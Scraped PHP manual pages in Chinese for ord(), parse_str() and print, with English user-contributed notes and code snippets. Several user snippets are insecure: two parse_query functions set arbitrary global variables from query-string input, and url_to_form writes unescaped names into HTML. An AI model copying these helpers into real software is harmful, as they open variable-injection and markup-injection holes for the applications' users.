Regarding character sets, and whether or not this is "ASCII". Firstly, there is no such thing as "8-bit ASCII", so if it were ASCII it would only ever return integers up to 127. 8-bit ASCII-compatible encodings include the ISO 8859 family of encodings, which map various common characters to the values from 128 to 255. UTF-8 is also designed so that characters representable in 7-bit ASCII are coded the same; byte values higher than 127 in a UTF-8 string represent the beginning of a multi-byte character.

In fact, like most of PHP's string functions, this function isn't doing anything to do with character encoding at all - it is just interpreting a binary byte from a string as an unsigned integer. That is, ord(chr(200)) will always return 200, but what character chr(200) *means* will vary depending on what character encoding it is *interpreted* as part of (e.g. during display).

A technically correct description would be "Returns an integer representation of the first byte of a string, from 0 to 255. For single-byte encodings such as (7-bit) ASCII and the ISO 8859 family, this will correspond to the first character, and will be the position of that character in the encoding's mapping table. For multi-byte encodings, such as UTF-8 or UTF-16, the byte may not represent a complete character."

The link to asciitable.com should also be replaced by one which explains what character encoding it is displaying, as "Extended ASCII" is an ambiguous and misleading name.
arglanir+phpnet at gmail dot com 23-Aug-2012 03:06
As ord() doesn't work with utf-8, and if you do not have access to mb_* functions, the following function will work well:
<?php
function ordutf8($string, &$offset) {
    $code = ord(substr($string, $offset,1));
    if ($code >= 128) {        //otherwise 0xxxxxxx
        if ($code < 224) $bytesnumber = 2;                //110xxxxx
        else if ($code < 240) $bytesnumber = 3;        //1110xxxx
        else if ($code < 248) $bytesnumber = 4;    //11110xxx
        $codetemp = $code - 192 - ($bytesnumber > 2 ? 32 : 0) - ($bytesnumber > 3 ? 16 : 0);
        for ($i = 2; $i <= $bytesnumber; $i++) {
            $offset ++;
            $code2 = ord(substr($string, $offset, 1)) - 128;        //10xxxxxx
            $codetemp = $codetemp*64 + $code2;
        }
        $code = $codetemp;
    }
    $offset += 1;
    if ($offset >= strlen($string)) $offset = -1;
    return $code;
}
?>
$offset is a reference, as it is not easy to split a utf-8 char-by-char. Useful to iterate on a string:
<?php
$text = "abcàê?�abc";
$offset = 0;
while ($offset >= 0) {
    echo $offset.": ".ordutf8($text, $offset)."\n";
}
/* returns:
0: 97
1: 98
2: 99
3: 224
5: 234
7: 223
9: 8364
12: 97
13: 98
14: 99
*/
?>
Feel free to adapt my code to fit your needs.
v0rbiz at yahoo dot com 28-May-2004 04:15
I did not found a unicode/multibyte capable 'ord' function, so...

<?php
function uniord($u) {
    $k = mb_convert_encoding($u, 'UCS-2LE', 'UTF-8');
    $k1 = ord(substr($k, 0, 1));
    $k2 = ord(substr($k, 1, 1));
    return $k2 * 256 + $k1;
}
?>


将字符串解析成多个变量

  • ? ord
  • print ?
  • PHP Manual
  • 字符串 函数
  • 将字符串解析成多个变量

parse_str

(PHP 4, PHP 5, PHP 7)

parse_str — 将字符串解析成多个变量

说明

parse_str ( string $encoded_string [, array &$result ] ) : void

如果 encoded_string 是 URL 传递入的查询字符串（query string），则将它解析为变量并设置到当前作用域（如果提供了 result 则会设置到该数组里 ）。

参数

encoded_string

输入的字符串。

result

如果设置了第二个变量 result， 变量将会以数组元素的形式存入到这个数组，作为替代。

Warning

极度不建议 在没有 result 参数的情况下使用此函数，并且在 PHP 7.2 中将废弃不设置参数的行为。

在函数中动态设置变量会和 register_globals 有同样的问题。

阅读「安全」中 使用 Register Globals 的章节，解释了它为什么是危险的。

返回值

没有返回值。

更新日志

版本 | 说明
7.2.0 | 不带第二个参数的情况下使用 parse_str() 会产生 E_DEPRECATED 警告。

范例

Example #1 parse_str() 的使用

<?php
$str = "first=value&arr[]=foo+bar&arr[]=baz";

// 推荐用法
parse_str($str, $output);
echo $output['first'];  // value
echo $output['arr'][0]; // foo bar
echo $output['arr'][1]; // baz

// 不建议这么用
parse_str($str);
echo $first;  // value
echo $arr[0]; // foo bar
echo $arr[1]; // baz
?>

由于 PHP 的变量名不能带「点」和「空格」，所以它们会被转化成下划线。 用本函数带 result 参数，也会应用同样规则到数组的键名。

Example #2 parse_str() 名称改写

<?php
parse_str("My Value=Something");
echo $My_Value; // Something

parse_str("My Value=Something", $output);
echo $output['My_Value']; // Something
?>

注释

Note:

所有创建的变量(或者在设置第二个参数的情况下，返回数组里的值)， 都已经 urldecode() 了。

Note:

要获取当前的 QUERY_STRING，可以使用 $_SERVER['QUERY_STRING'] 变量。 所以你可能想要阅读 来自 PHP 之外的变量这个章节。

Note:

本函数受 magic_quotes_gpc 设置的影响， 和 $_GET、 $_POST 在 PHP 中填充变量相似， parse_str() 也使用了同样的机制。

参见

  • parse_url() - 解析 URL，返回其组成部分
  • pathinfo() - 返回文件路径的信息
  • http_build_query() - 生成 URL-encode 之后的请求字符串
  • urldecode() - 解码已编码的 URL 字符串

User Contributed Notes

twiddly 21-Jan-2018 10:54
proper_parse_str works great and I like that it doesn't replace spaces with underbars, but should urldecode $value
alxcube at gmail dot com 18-Jun-2016 06:50
if you need custom arg separator, you can use this function. it returns parsed  query as associative array.

<?php

/**
 * Parses http query string into an array
 *
 * @author Alxcube <alxcube@gmail.com>
 *
 * @param string $queryString String to parse
 * @param string $argSeparator Query arguments separator
 * @param integer $decType Decoding type
 * @return array
 */
function http_parse_query($queryString, $argSeparator = '&', $decType = PHP_QUERY_RFC1738) {
        $result             = array();
        $parts              = explode($argSeparator, $queryString);

        foreach ($parts as $part) {
                list($paramName, $paramValue)   = explode('=', $part, 2);

                switch ($decType) {
                        case PHP_QUERY_RFC3986:
                                $paramName      = rawurldecode($paramName);
                                $paramValue     = rawurldecode($paramValue);
                                break;

                        case PHP_QUERY_RFC1738:
                        default:
                                $paramName      = urldecode($paramName);
                                $paramValue     = urldecode($paramValue);
                                break;
                }

                if (preg_match_all('/\[([^\]]*)\]/m', $paramName, $matches)) {
                        $paramName      = substr($paramName, 0, strpos($paramName, '['));
                        $keys           = array_merge(array($paramName), $matches[1]);
                } else {
                        $keys           = array($paramName);
                }

                $target         = &$result;

                foreach ($keys as $index) {
                        if ($index === '') {
                                if (isset($target)) {
                                        if (is_array($target)) {
                                                $intKeys        = array_filter(array_keys($target), 'is_int');
                                                $index  = count($intKeys) ? max($intKeys)+1 : 0;
                                        } else {
                                                $target = array($target);
                                                $index  = 1;
                                        }
                                } else {
                                        $target         = array();
                                        $index          = 0;
                                }
                        } elseif (isset($target[$index]) && !is_array($target[$index])) {
                                $target[$index] = array($target[$index]);
                        }

                        $target         = &$target[$index];
                }

                if (is_array($target)) {
                        $target[]   = $paramValue;
                } else {
                        $target     = $paramValue;
                }
        }

        return $result;
}

?>
StanE 17-Sep-2015 09:57
Note that the characters "." and " " (empty space) will be converted to "_". The characters "[" and "]" have special meaning: They represent arrays but there seems to be some weird behaviour, which I don't really understand:

<?php
// Note: "[" = %5B, "]" = %5D

/*
"v][=a" produces ("[" gets replaced by "_"):
Array
(
    [v]_] => a
)
*/
parse_str("v%5D%5B=a", $r);
print_r($r);

/*
"v][[=a" produces (first "[" gets replaced by "_", but not all following):
Array
(
    [v]_[] => a
)
*/
parse_str("v%5D%5B%5B=a", $r);
print_r($r);

?>
zweibieren at yahoo dot com 27-Apr-2015 03:18
If the arr argument is provided, all its existing elements are removed.
markc 30-Jun-2013 04:43
Beware using parse_str in a function that has vars passed by reference. It seems that parse_str actually creates new vars even if vars of the same name exist. If you pass by ref vars of the same name as those in a query string being parsed new LOCAL vers will be created and you won't get any values passed back to the caller (relates to what Maikel mentioned below)

An unrealistic example (vaguely related to what I was doing when I found this out)...

function get_title($query,&$title)
{
  parse_str($query);
  $title=str_replace("_"," ",$title);
}

$title="foo";
$query = "context=something&title=Title_of_Something";
get_title($query,$title);

echo $title .... "foo"
jrgns at jadeit dot co dot za 27-Jun-2012 08:57
The array to be populated does not need to be defined before calling the function:

<?php
error_reporting(E_ALL | E_STRICT);
parse_str('var=value', $array);
?>

This will not produce a notice.
shagshag 14-May-2012 05:51
That's not says in the description but max_input_vars directive affects this function. If there are more input variables on the string than specified by this directive, an E_WARNING is issued, and further input variables are truncated from the request.
Benjamin Garcia 26-Apr-2012 09:18
function like parse_str, but doesn't convert spaces and dots to underscores in $_GET AND $_POST

/**
 * GET and POST input containing dots, etc.
 */
function getRealREQUEST() {
    $vars = array();

    $input    = $_SERVER['REDIRECT_QUERY_STRING'];
    if(!empty($input)){
        $pairs    = explode("&", $input);
        foreach ($pairs     as $pair) {
            $nv                = explode("=", $pair);

            $name            = urldecode($nv[0]);
            $nameSanitize    = preg_replace('/([^\[]*)\[.*$/','$1',$name);

            $nameMatched    = str_replace('.','_',$nameSanitize);
            $nameMatched    = str_replace(' ','_',$nameMatched);

            $vars[$nameSanitize]    = $_REQUEST[$nameMatched];
        }
    }

    $input    = file_get_contents("php://input");
    if(!empty($input)){
        $pairs    = explode("&", $input);
        foreach ($pairs as $pair) {
            $nv                = explode("=", $pair);

            $name            = urldecode($nv[0]);
            $nameSanitize    = preg_replace('/([^\[]*)\[.*$/','$1',$name);

            $nameMatched    = str_replace('.','_',$nameSanitize);
            $nameMatched    = str_replace(' ','_',$nameMatched);

            $vars[$nameSanitize]    = $_REQUEST[$nameMatched];
        }
    }

    return $vars;
}
Will Voelcker 12-Aug-2010 11:07
If you need a function that does something similar to parse_str, but doesn't convert spaces and dots to underscores, try something like the following:

<?php
function parseQueryString($str) {
    $op = array();
    $pairs = explode("&", $str);
    foreach ($pairs as $pair) {
        list($k, $v) = array_map("urldecode", explode("=", $pair));
        $op[$k] = $v;
    }
    return $op;
}
?>

It may need adapting to handle various edge cases.
tobsn at php dot net 01-Jul-2008 11:17
just a heads up with the example above:
?var[]=123 - the [] has to be urlencoded.
var names and var values - both have to be urlencoded!
helpmepro1 at gmail dot com 28-Apr-2008 09:09
<?
//by shimon doodkin

 $url_form=url_to_form($url);
 echo '<form action="'.$url_form['action'].'" method="get">';
 echo $url_form['hidden'];
 echo '<input name="otherfiled" type="text">';
 echo '<input type="submit">';
 echo '</form>';

 function url_to_form($url)
 {
  $url=split('\?',$url,2);
  $action=$url[0];
  $hidden="";
  if(isset($url[1]))
  {
   $pairs=split('&',$url[1]);
   foreach($pairs as $pair)
   {
    $pair=split('=',$pair,2);
    $name=$pair[0];
    if(isset($pair[1]))
     $value=$pair[1];
    else
     $value='';
    $name=$name;
    $value=htmlspecialchars($value);
    if($name!='')
     $hidden.='<hidden name="'.$name.'" value="'.$value.'">';
   }
  }
  return array('action'=>$action,'hidden'=>$hidden);
 }

?>
chris at mcfadyen dot ca 13-Nov-2007 04:02
I shouldn't've posted the original version, as it only worked with the most basic of query strings.

This function will parse an html-safe query-like url string for variables and php-like ordered and associative arrays.  It places them into the global scope as parse_str does and adds minimal slashes for database insertions without the triple-slash problems that magic quotes can produce (the reason I had to write it in the first place).  If you don't need the slashes, they're easy enough to remove.

<?php
function parse_query($str) {

    // Separate all name-value pairs
    $pairs = explode('&', $str);

    foreach($pairs as $pair) {

        // Pull out the names and the values
        list($name, $value) = explode('=', $pair, 2);

        // Decode the variable name and look for arrays
        list($name, $index) = split('[][]', urldecode($name));

        // Arrays
        if(isset($index)) {

            // Declare or add to the global array defined by $name
            global $$name;
            if(!isset($$name)) $$name = array();

            // Associative array
            if($index != "") {
                ${$name}[$index] = addslashes(urldecode($value));

            // Ordered array
            } else {
                array_push($$name, addslashes(urldecode($value)));
            }

        // Variables
        } else {

            // Declare or overwrite the global variable defined by $name
            global $$name;
            $$name = addslashes(urldecode($value));
        }
    }
}
?>
chris at mcfadyen dot ca 31-Oct-2007 08:48
If you wish a version of parse_str sans magic quotes, the following will do the trick:

<?php
function parse_query($str) {
    $pairs = explode('&', $str);

    foreach($pairs as $pair) {
        list($name, $value) = explode('=', $pair, 2);
        global $$name;
        $$name = $value;
    }
}
?>
Evan K 30-Jul-2007 07:43
It bears mentioning that the parse_str builtin does NOT process a query string in the CGI standard way, when it comes to duplicate fields.  If multiple fields of the same name exist in a query string, every other web processing language would read them into an array, but PHP silently overwrites them:

<?php
# silently fails to handle multiple values
parse_str('foo=1&foo=2&foo=3');

# the above produces:
$foo = array('foo' => '3');
?>

Instead, PHP uses a non-standards compliant practice of including brackets in fieldnames to achieve the same effect.

<?php
# bizarre php-specific behavior
parse_str('foo[]=1&foo[]=2&foo[]=3');

# the above produces:
$foo = array('foo' => array('1', '2', '3') );
?>

This can be confusing for anyone who's used to the CGI standard, so keep it in mind.  As an alternative, I use a "proper" querystring parser function:

<?php
function proper_parse_str($str) {
  # result array
  $arr = array();

  # split on outer delimiter
  $pairs = explode('&', $str);

  # loop through each pair
  foreach ($pairs as $i) {
    # split into name and value
    list($name,$value) = explode('=', $i, 2);

    # if name already exists
    if( isset($arr[$name]) ) {
      # stick multiple values into an array
      if( is_array($arr[$name]) ) {
        $arr[$name][] = $value;
      }
      else {
        $arr[$name] = array($arr[$name], $value);
      }
    }
    # otherwise, simply stick it in a scalar
    else {
      $arr[$name] = $value;
    }
  }

  # return result array
  return $arr;
}

$query = proper_parse_str($_SERVER['QUERY_STRING']);
?>
Vladimir Kornea 17-Jul-2007 09:04
parse_str() is confused by ampersands (&) being encoded as HTML entities (&amp;). This is relevant if you're extracting your query string from an HTML page (scraping). The solution is to run the string through html_entity_decode() before running it through parse_str().

(Editors: my original comment was a caution whose solution is obvious, but it has resulted in three replies ("so what?" "as intended" and "this is how to fix it"). Please remove the previous four posts dealing with this (69529, 70234, 72745, 74818) and leave just the above summary. This issue is too trivial to warrant the number of comments it has received.)
mike dot coley at inbox dot com 02-Jun-2007 12:25
Here is a little function that does the opposite of the parse_str function. It will take an array and build a query string from it.

<?php

/* Converts an array of parameters into a query string to be appended to a URL.
 *
 * @return  string              : Query string to append to a URL.
 * @param   array    $array     : Array of parameters to append to the query string.
 * @param   string   $parent    : This should be left blank (it is used internally by the function).
 */
function append_params($array, $parent='')
{
    $params = array();
    foreach ($array as $k => $v)
    {
        if (is_array($v))
            $params[] = append_params($v, (empty($parent) ? urlencode($k) : $parent . '[' . urlencode($k) . ']'));
        else
            $params[] = (!empty($parent) ? $parent . '[' . urlencode($k) . ']' : urlencode($k)) . '=' . urlencode($v);
    }

    $sessid = session_id();
    if (!empty($parent) || empty($sessid))
        return implode('&', $params);

    // Append the session ID to the query string if we have to.
    $sessname = session_name();
    if (ini_get('session.use_cookies'))
    {
        if (!ini_get('session.use_only_cookies') && (!isset($_COOKIE[$sessname]) || ($_COOKIE[$sessname] != $sessid)))
            $params[] = $sessname . '=' . urlencode($sessid);
    }
    elseif (!ini_get('session.use_only_cookies'))
        $params[] = $sessname . '=' . urlencode($sessid);

    return implode('&', $params);
}

?>

Note that the function will also append the session ID to the query string if it needs to be.
Michal Zalewski 28-Apr-2007 11:27
Vladimir Kornea:
Try use html_entity_decode()

$str = 'first=value&amp;arr[]=foo+bar&amp;arr[]=baz';
parse_str(html_entity_decode($str), $output);
print_r($output);

Array
(
    [first] => value
    [arr] => Array
        (
            [0] => foo bar
            [1] => baz
        )

)
php at voodoolabs dot net 07-Mar-2007 12:32
This is probably a better solution than below. The first line makes sure the file doesn't exist then the second line directs all requests to a script. No need to output a 200 header with this method either.

RewriteEngine On

RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule ^ index.php      [L]
lenix.de 10-Feb-2007 04:20
if you would like to get a nice url scheme with php/apache and and want to handle all requests in a central php script there's a simple solution/hack:

create a .htaccess in your "basedir" where you've got your main script (in this example index.php) containing some lines like:

"ErrorDocument 404 /index.php"

inside index.php you can now do

<?php
    $virtual_path = substr(
        $_SERVER['REQUEST_URI'],
        strlen( dirname( $_SERVER['PHP_SELF'] ) ) + 1
    );
    if( ($pos = strpos( $virtual_path, '?' )) !== false ) {
        parse_str( substr( $virtual_path, $pos + 1 ), $_GET );
        $_REQUEST = array_merge( $_REQUEST, $_GET );
        $virtual_path = substr( $virtual_path, 0, $pos );
    }

    // some code checking for a valid location, etc...
    header( 'HTTP/1.1 200 OK' );
    header( 'Content-Type: text/plain' );

    echo $virtual_path."\n\n";
    print_r( $_REQUEST );
?>

// guido 'lenix' boehm
jgbreezer at gmail dot com 31-Jan-2007 04:52
Vladimir Kornea wrote on 8 Sep 2006:
"This function is confused by ampersands (&) being encoded as HTML entities (&amp;)"

Well, it would be - it's not supposed to be passed html entities, that's a different encoding scheme. This function does correctly decode url encoded params for you though (with the rawurlencode rather than urlencode, ie '+' is translated to a space).
Olivier Mengué 07-Oct-2006 02:02
Vladimir: the function is OK in how it deals with &amp;.
&amp; must only be used when outputing URLs in HTML/XML data.
You should ask yourself why you have &amp; in your URL when you give it to parse_str.
Vladimir Kornea 08-Sep-2006 02:15
This function is confused by ampersands (&) being encoded as HTML entities (&amp;).

$str = "first=value&amp;arr[]=foo+bar&amp;arr[]=baz";
parse_str($str, $output);
print_r($output);

Array
(
    [first] => value
    [amp;arr] => Array
        (
            [0] => foo bar
            [1] => baz
        )
)
PEPE_RIVAS at repixel dot net 28-Aug-2006 06:21
CONVERT ANY FORMATTED STRING INTO VARIABLES

I developed a online payment solution for credit cards using a merchant, and this merchant returns me an answer of the state of the transaction like this:

estado=1,txnid=5555444-8454445-4455554,monto=100.00

to have all that data into variables could be fine for me! so i use str_replace(), the problem is this function recognizes each group of variables with the & character... and i have  comma separated values... so i replace comma with &

<?php
$string = "estado=1,txnid=5555444-8454445-4455554,monto=100.00";
$string = str_replace(",","&",$string);
parse_str($string);
echo $monto; // outputs 100.00
?>
motin at demomusic dot nu 14-Apr-2006 06:13
When you have scripts run through the command-line (like locally via cron), you might want to be able to use _GET and _POST vars. Put this in top of your scheduled task files:

<?
    parse_str ($_SERVER['argv'][1], $GLOBALS['_GET']);
    parse_str ($_SERVER['argv'][2], $GLOBALS['_POST']);
?>

And call your script by:

/usr/local/bin/php /path/to/script.php "id=45&action=delete" "formsubmitted=true"

Cheers!
avi at amarcus dot com 03-Sep-2005 06:32
If you are trying to preserve a complex array, the function serialize might be better than http_build_query or other methods of making a query string.
29-Jun-2005 05:59
As of PHP 5, you can do the exact opposite with http_build_query(). Just remember to use the optional array output parameter.

This is a very useful combination if you want to re-use a search string url, but also slightly modify it:

Example:
<?
$url1 = "action=search&interest[]=sports&interest[]=music&sort=id";
$str = parse_str($url1, $output);

// Modifying criteria:
$output['sort'] = "interest";

$url2 = http_build_query($output);

echo "<br>url1: ".$url1;
echo "<br>url2: ".$url2;
?>

Results in:
url1: action=search&interest[]=sports&interest[]=music&sort=id
url2: action=search&interest[0]=sports&interest[1]=music&sort=interest

(Array indexes are automatically created.)
kerosuppi 29-May-2005 09:22
This does not work as expected.

<?php
class someclass
{
    var $query_string;
    function someclass($a_query_string)
    {
        $this->query_string = $a_query_string;
        parse_str($this->query_string);
    }
    function output()
    {
        echo $this->action;
    }
}

$a_class = new someclass("action=go");
$a_class->output();
?>

Use this instead.

<?php
class someclass
{
    var $arr;
    function someclass($a_query_string)
    {
        parse_str($a_query_string, $this->arr);
    }
    function output()
    {
        echo $this->arr['action'];
    }
}

$a_class = new someclass("action=go");
$a_class->output();
?>
mortoray at ecircle-ag dot com 25-May-2005 12:18
In Kent's solution you may wish to switch "urldecode" into "rawurldecode" if you'd like to get rid of the [annoying] plus '+' converted to space ' ' translation.
kent at nospam dot ioflux dot com 06-May-2005 08:13
You may want to parse the query string into an array.

<?php
/**
 * Similar to parse_str. Returns false if the query string or URL is empty. Because we're not parsing to
 * variables but to array key entries, this function will handle ?[]=1&[]=2 "correctly."
 *
 * @return array Similar to the $_GET formatting that PHP does automagically.
 * @param string $url A query string or URL
 * @param boolean $qmark Find and strip out everything before the question mark in the string
*/
function parse_query_string($url, $qmark=true)
{
    if ($qmark) {
        $pos = strpos($url, "?");
        if ($pos !== false) {
            $url = substr($url, $pos + 1);
        }
    }
    if (empty($url))
        return false;
    $tokens = explode("&", $url);
    $urlVars = array();
    foreach ($tokens as $token) {
        $value = string_pair($token, "=", "");
        if (preg_match('/^([^\[]*)(\[.*\])$/', $token, $matches)) {
            parse_query_string_array($urlVars, $matches[1], $matches[2], $value);
        } else {
            $urlVars[urldecode($token)] = urldecode($value);
        }
    }
    return $urlVars;
}

/**
 * Utility function for parse_query_string. Given a result array, a starting key, and a set of keys formatted like "[a][b][c]"
 * and the final value, updates the result array with the correct PHP array keys.
 *
 * @return void
 * @param array $result A result array to populate from the query string
 * @param string $k The starting key to populate in $result
 * @param string $arrayKeys The key list to parse in the form "[][a][what%20ever]"
 * @param string $value The value to place at the destination array key
*/
function parse_query_string_array(&$result, $k, $arrayKeys, $value)
{
    if (!preg_match_all('/\[([^\]]*)\]/', $arrayKeys, $matches))
        return $value;
    if (!isset($result[$k])) {
        $result[urldecode($k)] = array();
    }
    $temp =& $result[$k];
    $last = urldecode(array_pop($matches[1]));
    foreach ($matches[1] as $k) {
        $k = urldecode($k);
        if ($k === "") {
            $temp[] = array();
            $temp =& $temp[count($temp)-1];
        } else if (!isset($temp[$k])) {
            $temp[$k] = array();
            $temp =& $temp[$k];
        }
    }
    if ($last === "") {
        $temp[] = $value;
    } else {
        $temp[urldecode($last)] = $value;
    }
}

/**
* Breaks a string into a pair for a common parsing function.
*
* The string passed in is truncated to the left half of the string pair, if any, and the right half, if anything, is returned.
*
* An example of using this would be:
* <code>
* $path = "Account.Balance";
* $field = string_pair($path);
*
* $path is "Account"
* $field is "Balance"
*
* $path = "Account";
* $field = string_pair($path);
*
* $path is "Account"
* $field is false
* </code>
*
* @return string The "right" portion of the string is returned if the delimiter is found.
* @param string $a A string to break into a pair. The "left" portion of the string is returned here if the delimiter is found.
* @param string $delim The characters used to delimit a string pair
* @param mixed $default The value to return if the delimiter is not found in the string
* @desc
*/
function string_pair(&$a, $delim='.', $default=false)
{
    $n = strpos($a, $delim);
    if ($n === false)
        return $default;
    $result = substr($a, $n+strlen($delim));
    $a = substr($a, 0, $n);
    return $result;
}

?>
anatilmizun at gmail dot com 12-Oct-2004 04:10
I wrote a pair of functions using parse_str() that will write values in an array to a textfile and vice versa, read those values from the textfile back into the array. Quite useful if you need to store lots of data but don't have access to SQL.

Save the array by calling cfg_save($filename,$array) and load it back using $array=cfg_load($filename)

<?php
$newline="?";

function cfg_load($cfgfile){
    global $newline;
    $setting="";
    if(file_exists($cfgfile)){
        $setting=fopen($cfgfile, "r");
        $ookk="";
        while($ook=fgets($setting)){
            #strip comment
            $commt=strpos($ook,"##");
            if($commt!==false) $ook=substr($ook,0,$commt);
            #append
            if($ook!="") $ookk=$ookk."&".    str_replace($newline,"\n",str_replace("&","%26",trim($ook)));
        }
        fclose($setting);
        parse_str($ookk, $setting);
    }
    return $setting;
}

function cfg_save($cfgfile,$setting){
    global $intArray;
    $intArray="";
    for($i=0;$i<2000;$i++)
        $intArray[]=$i;
    if(is_array($setting)){
        $allkeys=array_keys($setting);
        foreach($allkeys as $aKey)
            cfg_recurse($setting[$aKey], $aKey, $outArray);
    }
    $cfgf=fopen($cfgfile,"w");
    foreach($outArray as $aLine)
        fputs($cfgf,stripslashes($aLine)."\r\n");
    fclose($cfgf);
}

function cfg_recurse($stuffIn, $keysofar, &$toAppend){
    global $intArray, $newline;
    if(is_array($stuffIn)){
        $allkeys=array_keys($stuffIn);
        if(array_slice($intArray,0,sizeof($allkeys))==$allkeys)
            $nokey=true;
        else
            $nokey=false;
        foreach($allkeys as $aKey){
            if(!$nokey) $toKey=$aKey;
            cfg_recurse($stuffIn[$aKey], $keysofar."[".$toKey."]", $toAppend);
        }
    }else
        $toAppend[]=$keysofar."=".str_replace("\n",$newline,$stuffIn);
}
?>

Note that these functions support nested arrays of unlimited levels ;)


输出字符串

  • ? parse_str
  • printf ?
  • PHP Manual
  • 字符串 函数
  • 输出字符串

print

(PHP 4, PHP 5, PHP 7)

print — 输出字符串

说明

print ( string $arg ) : int

输出 arg。

print 实际上不是函数（而是语言结构），所以可以不用圆括号包围参数列表。

和 echo 最主要的区别： print 仅支持一个参数，并总是返回 1。

参数

arg

输入数据。

返回值

总是返回 1。

范例

Example #1 print 范例

<?php
print("Hello World");

print "print() also works without parentheses.";

print "This spans
multiple lines. The newlines will be
output as well";

print "This spans\nmultiple lines. The newlines will be\noutput as well.";

print "escaping characters is done \"Like this\".";

// 可以在打印语句中使用变量
$foo = "foobar";
$bar = "barbaz";

print "foo is $foo"; // foo is foobar

// 也可以使用数组
$bar = array("value" => "foo");

print "this is {$bar['value']} !"; // this is foo !

// 使用单引号将打印变量名，而不是变量的值
print 'foo is $foo'; // foo is $foo

// 如果没有使用任何其他字符，可以仅打印变量
print $foo;          // foobar

print <<<END
This uses the "here document" syntax to output
multiple lines with $variable interpolation. Note
that the here document terminator must appear on a
line with just a semicolon no extra whitespace!
END;
?>

注释

Note: 因为是一个语言构造器而不是一个函数，不能被 可变函数 调用。

参见

  • echo - 输出一个或多个字符串
  • printf() - 输出格式化字符串
  • flush() - 刷新输出缓冲
  • Heredoc syntax

User Contributed Notes

dkrupyanskiy 27-Jan-2018 01:42
Don't rely on parenthesis used for `print` construct:

print 1 . print(2) + 3;
print PHP_EOL;
print 1 . (print(2)) + 3;
Chris Watson 01-Oct-2009 01:20
mvpetrovich of 2007 could just use single quotes as his string delimiters (see the example in the current documentation).
It's not ALWAYS appropriate, but generally it is best (the Zend Framework coding standards have a good take on this). It yields a number of interesting benefits:
1: Nobody will be tempted to write functions to replace backticks or other characters with double quotes. Such functions may cause a (negligible) loss of efficiency, and maybe other undesired effects.
2: You will be able to use double quotes without escaping. This is recommended (although not required) for HTML and XML attributes, as well as quoted text.
3: The script will hit the browser very slightly slightly faster since PHP doesn't have to scan through the string looking for variables, escaped characters, curly braces or other things.
4: Your code gets ten times easier to read. (as mvpetrovich pointed out)

If, in spite of these four excellent benefits, you really MUST still use double quotes to delimit boring old string constants (and seriously, why would you?), you could use the slightly less favourable single quotes as delimiters for most markup languages.
HTML served as HTML will even let you lay out unquoted attributes (yuck).

It should also be noted though that if you are just printing bare strings, you may as well shut off the php parser. The quickest way to send a string is to write it as plain text, OUTSIDE of the php tags. This will also make your code look excellent in a lot of syntax highlighters.

There are few disadvantages to doing this, if any. Output buffering still works. All your classes and objects and includes remain in place. Your script runs faster. World peace is obtained.
http://www.danielxmorris.com 28-Aug-2008 07:46
An update to the println function I wrote below, this is a more efficient, correct and returns a value (1, always; (print)).

<?php

    function println($string_message = '') {
        return isset($_SERVER['SERVER_PROTOCOL']) ? print "$string_message<br />" . PHP_EOL:
          print $string_message . PHP_EOL;
    }

?>
user at example dot net 25-Aug-2008 09:45
Be careful when using print. Since print is a language construct and not a function, the parentheses around the argument is not required.
In fact, using parentheses can cause confusion with the syntax of a function and SHOULD be omited.

Most would expect the following behavior:
<?php
    if (print("foo") && print("bar")) {
        // "foo" and "bar" had been printed
    }
?>

But since the parenthesis around the argument are not required, they are interpretet as part of the argument.
This means that the argument of the first print is

    ("foo") && print("bar")

and the argument of the second print is just

    ("bar")

For the expected behavior of the first example, you need to write:
<?php
    if ((print "foo") && (print "bar")) {
        // "foo" and "bar" had been printed
    }
?>
danielxmorris @ gmail dotcom 16-May-2008 04:08
I wrote a println function that determines whether a \n or a <br /> should be appended to the line depending on whether it's being executed in a shell or a browser window.  People have probably thought of this before but I thought I'd post it anyway - it may help a couple of people.

<?php
function println ($string_message) {
    $_SERVER['SERVER_PROTOCOL'] ? print "$string_message<br />" : print "$string_message\n";
}
?>

Examples:

Running in a browser:

<?php println ("Hello, world!"); ?>
Output: Hello, world!<br />

Running in a shell:

<?php println ("Hello, world!"); ?>
Output: Hello, world!\n
jon 01-Jun-2007 07:19
the FAQTs article can be found archived at http://web.archive.org/web/20060601063513/http
://www.faqts.com/knowledge_base/view.phtml/aid/1/fid/40

(url split to get past the line-length limitation)
phpnet at i3x171um dot com 20-May-2006 07:41
I have written a script to benchmark the several methods of outputting data in PHP: via single quotes, double quotes, heredoc, and printf. The script constructs a paragraph of text with each method. It performs this construction 10,000 times, then records how long it took. In total, it prints 160,000 times and records 16 timings. Here are the raw results.

Outputted straight to browser--

Single quotes: 2,813 ms
...with concatenation: 1,179 ms
Double quotes: 5,180 ms
...with concatenation: 3,937 ms
heredoc: 7,300 ms
...with concatenation: 6,288 ms
printf: 9,527 ms
...with concatenation: 8,564 ms

Outputted to the output buffer--

Single quotes: 8 ms
...with concatenation: 38 ms
Double quotes: 8 ms
...with concatenation: 47 ms
heredoc: 17 ms
...with concatenation: 49 ms
printf: 54 ms
...with concatenation: 52 ms

A nice graph of the script's output can be found here:
http://i3x171um.com/output_benchmarks/ob.gif

So what should you choose to print your text? I found several things out writing this.

First, it should be noted that the print and echo keywords are interchangeable, performance-wise. The timings show that one is probably an alias for the other. So use whichever you feel most comfortable with.

Second, if you've ever wondered which was better, the definitive answer is single quotes. Single quotes are at least four times faster in any situation. Double quotes, while more convenient, do pose a debatably significant performance issue when outputting massive amounts of data.

Third, stay away from heredoc, and absolutely stay away from [s]printf. They're slow, and the alternatives are there.

The source of my script can be found here:
http://i3x171um.com/output_benchmarks/ob.txt

DO NOT RUN THE SCRIPT ON THE INTERNET! Run it instead from localhost. The script outputs ~45 megabytes of text in an html comment at the top of the page by default. Expect the benchmark to take ~45 seconds. If this is too long, you can change the amount of iterations to a lower number (the results scale accurately down to about 1,000 iterations).
jon at tap dot net 05-Dec-2005 01:48
I have a small utility run from the command line that processes a potentially huge list of files. As it can take hours to complete, I stuck a

print '.';

statement in the body of the main loop to prove that something was  happening.

For reasons unknown to me, the utiliity suddenly started buffering the output such that it printed nothing until completion, defeating the purpose of the running monitor. Adding flush() statements did nothing. The problem was solved by using

fputs(STDOUT, '.');

but I have no idea why.
ejallison at gmail dot com 16-Jul-2005 03:10
This is a simple function for printing debug comments that I didn't think of for a long time. Maybe it'll serve you good too.

<?php

function printd($str) {
  if ($debug) { echo $str; }
}

// ...

if ($valueCalculatedEarlierInTheScript == 3) {
  doSomethingWithNoOutput();
  printd("doSomethingWithNoOutput() has executed.");
}

?>

